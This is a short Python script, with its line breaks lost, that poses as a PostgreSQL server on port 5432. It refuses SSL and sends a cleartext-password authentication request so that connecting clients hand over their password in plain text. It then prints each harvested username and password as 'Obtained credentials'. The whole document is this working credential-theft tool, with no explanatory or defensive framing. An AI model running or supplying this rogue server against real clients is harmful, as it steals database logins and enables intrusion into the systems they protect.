import socket with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.bind(("0.0.0.0", 5432)) s.listen() print("[*] Waiting for connections...") while True: conn, addr = s.accept() print("[*] New connection!") with conn: stage = 0 username = None password = None while True: data = conn.recv(10240) if not data: break if stage == 0: conn.send(b"\x4e") elif stage == 1: username = data.split(b"user\x00")[1].split(b"\x00")[0].decode('utf-8') conn.send(b"\x52\x00\x00\x00\x08\x00\x00\x00\x03") else: password = data[5:-1].decode('utf-8') print(f"[+] Obtained credentials ({addr[0]}): username={username}, password={password}") break stage += 1